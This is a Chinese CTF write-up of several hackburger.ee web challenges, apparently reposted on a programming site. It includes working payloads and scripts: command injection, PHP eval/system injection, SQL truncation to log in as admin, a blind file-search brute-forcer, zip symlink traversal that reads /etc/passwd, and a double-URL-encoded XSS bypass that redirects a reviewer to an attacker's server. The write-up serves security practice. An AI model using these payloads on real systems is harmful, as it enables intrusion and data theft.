内容简介:一共有10道题目,还有两道没做出来,后续做出来了再更新。题目的入口,A ping utility, to ping stuff, you know
一共有10道题目,还有两道没做出来,后续做出来了再更新。
题目的入口, https://hackburger.ee/challenge/ 。
Warmup
A ping utility, to ping stuff, you know
命令执行漏洞,用分号执行两条命令。
127.0.0.1;ls 获取到flag位置。
127.0.0.1;cat flag.php 不行,尝试 127.0.0.1;tac flag.php 获取到flag。
Number to ASCII converter
A tool to convert numbers to ASCII characters
assert中可以直接执行命令。
?number=eval(system("cat%20where/is/the/flag/i/am/looking/for/flag.php")) 获取到flag。
That’s not how you write signup
A login form and a registration form. With some problems (but not SQL injection, SQLi is boring).
题目中给出了一个注册和登陆的界面,但又提示不是 sql 注入。在源码中得知需要admin登陆,猜测 mysql 长度截断漏洞。注册用户名 admin(空格)1111 即可登陆admin账号。getflag。
Enter password to get candy
A challenge where you put password and get candy (or a “bad password” message).
不知道是不是考的若比较,反正跑了一下字典{“password”:0}的时候就出flag了。
File search
Here you can search files
大致的逻辑是输入字符串,如果他在某个文件中的化就会输出文件的文件名。
import requests
import string
url = "http://burger.laboratorium.ee:8004/"
strt = string.digits+string.ascii_lowercase+'_-+'
flag = ''
def right(str_r):
for i in strt:
flag = str_r+i
data = {'query':flag}
s = requests.post(url = url,data = data)
if('flag.txt' in s.text):
str_r=flag
print('right----',str_r)
str_r = right(str_r)
break
return str_r
def left(str_l):
for i in strt:
flag = i+str_l
data = {'query':flag}
s = requests.post(url = url,data = data)
if('flag.txt' in s.text):
str_l=flag
print('left----',str_l)
str_l = left(str_l)
break
return str_l
right(left(flag))
Zip file browser
for browsing zip files
我们先上传一个zip包里面存入一个1.txt内容为it work,然后让服务器解压成功的读取到了其中的内容。
尝试读取一个不存在的文件,服务器直接报错。
file_get_contents(/tmp/dir_hackme5_5270159094052007086260766287487917142363/2.txt): failed to open stream: No such file or directory in /home/hackme5/task/index.php on line 41
这样的化我们可以尝试一下文件遍历,但是过滤了 / 只要输入了/就会提示hax0r no!,一番尝试无果之后,看到了一个师傅写的关于这题的writeup: https://xz.aliyun.com/t/2589。
主要是利用的软连接上传,我们通过将软连接文件打包到zip中上传,然后读取其中的软连接文件。
首先 ln -s /etc/passwd 1.txt 生产我们的文件,然后zip -y 1.zip 1.test打包到我们zip文件夹中,上传即可。flag的化我们用之前报错出来的路径软连接读取index.php即可。
Magic
The description left out intentionally.
用扫描器直接扫到robots.txt,index.php,.git,拼接起来即可。
We tried to clone pastebin
But we failed miserably
扫描器扫了一哈,发现源码在 index.php~ ,看了一下源码好像我们是可以通过日期生产文件的hash然后去访问文件的,而且存在3个可疑的文件是2017年生成的。
2017-07-23 19:15:11 2017-07-23 19:15:27 2017-07-23 19:15:44
我们生产一下所有的文件,然后用burp访问一下
<?php
$time_data = ['2017-07-23 19:15:11','2017-07-23 19:15:27','2017-07-23 19:15:44','2018-08-21 16:39:03','2018-08-21 16:39:32','2018-08-21 16:40:00','2018-08-21 16:59:13','2018-08-21 16:59:50','2018-08-21 17:00:09','2018-08-21 17:00:25','2018-08-21 17:00:42','2018-08-21 17:01:07','2018-08-21 17:02:43','2018-08-21 17:03:15','2018-08-21 17:04:45','2018-08-21 20:45:00','2018-08-22 00:16:16','2018-08-22 00:18:17','2018-08-22 02:53:08','2018-08-22 02:53:33','2018-08-22 02:53:57','2018-08-22 02:54:41','2018-08-22 02:56:28','2018-08-22 02:57:17','2018-08-23 13:20:36','2018-08-23 13:22:16','2018-08-23 13:23:25','2018-08-23 13:23:59','2018-08-23 13:24:38','2018-08-23 18:29:28','2018-08-23 18:29:55','2018-08-23 18:29:59','2018-08-23 18:30:29','2018-08-24 01:41:31','2018-08-24 01:43:16','2018-08-24 01:43:23','2018-08-24 01:43:33','2018-08-24 01:45:13','2018-08-24 01:45:55','2018-08-24 01:47:32','2018-08-24 12:07:06','2018-08-24 12:08:22','2018-08-24 12:08:23','2018-08-24 12:08:24','2018-08-24 12:08:25','2018-08-24 12:08:26','2018-08-24 12:11:36','2018-08-26 17:18:45','2018-08-26 17:20:23','2018-08-26 17:25:15','2018-08-26 17:25:56','2018-08-27 12:27:12','2018-08-27 12:28:57','2018-08-27 12:32:18','2018-08-27 12:36:37','2018-08-27 12:39:07','2018-08-28 02:47:31','2018-08-28 02:57:08','2018-08-28 03:05:03','2018-08-28 03:05:23','2018-08-28 03:06:53'];
foreach ($time_data as $value) {
$time = strtotime($value);
$hash = md5($time . $time . "6548b41279a6a0ecf4d210fdd078a19b63ed08e0" . sha1($time));
echo $hash.'</br>';
}
但是这3个2017的文件是404,感觉是不是时间纪录错了,又试了试修改后面的秒无果。对小时进行了尝试的得到flag。
<?php
$time_data = ['2017-07-23 19:15:11','2017-07-23 19:15:27','2017-07-23 19:15:44'];
foreach ($time_data as $value) {
$time = strtotime($value);
for($n=0;$n<25;$n++) {
$time-=3600;
$hash = md5($time . $time . "6548b41279a6a0ecf4d210fdd078a19b63ed08e0" . sha1($time));
echo $hash.'</br>';
}
}
Comment box
I know you want to comment things, so I added a challenge with a comment box.
这题没做出来,但是还是纪录一哈。
题目就给了一个输入,随便提交之后会提示会有人审核,猜测是xss题。
手动测试了一下发现过滤了:
script,on,object,',",src=,base64,video,expression
过滤的 src= 可以用 src = 来绕过,就想到了用标签和data协议来触发xss。
<script>document.location='http://ip'</script>转hex <embed src = data:text/html,%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%69%70%27%3c%2f%73%63%72%69%70%74%3e> 可以在本地触发,但是我们提交这个payload会提示被过滤了猜测服务器将我们的输入urldecode了一次,所以我们在encode一次。 <embed src = data:text/html,%253c%2573%2563%2572%2569%2570%2574%253e%2564%256f%2563%2575%256d%2565%256e%2574%252e%256c%256f%2563%2561%2574%2569%256f%256e%253d%2527%2568%2574%2574%2570%253a%252f%252f%2569%2570%2527%253c%252f%2573%2563%2572%2569%2570%2574%253e> 可以在题目中触发,可以在vps上收到信息。
但是在data协议中无法操作cookie,而且有一些操作在他的服务器,我不知道是不是data协议的问题我也收不到消息,下次想到什么好的payload再补这题把。
以上所述就是小编给大家介绍的《hackburger》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Head First Python
Paul Barry / O'Reilly Media / 2010-11-30 / USD 49.99
Are you keen to add Python to your programming skills? Learn quickly and have some fun at the same time with Head First Python. This book takes you beyond typical how-to manuals with engaging images, ......一起来看看 《Head First Python》 这本书的介绍吧!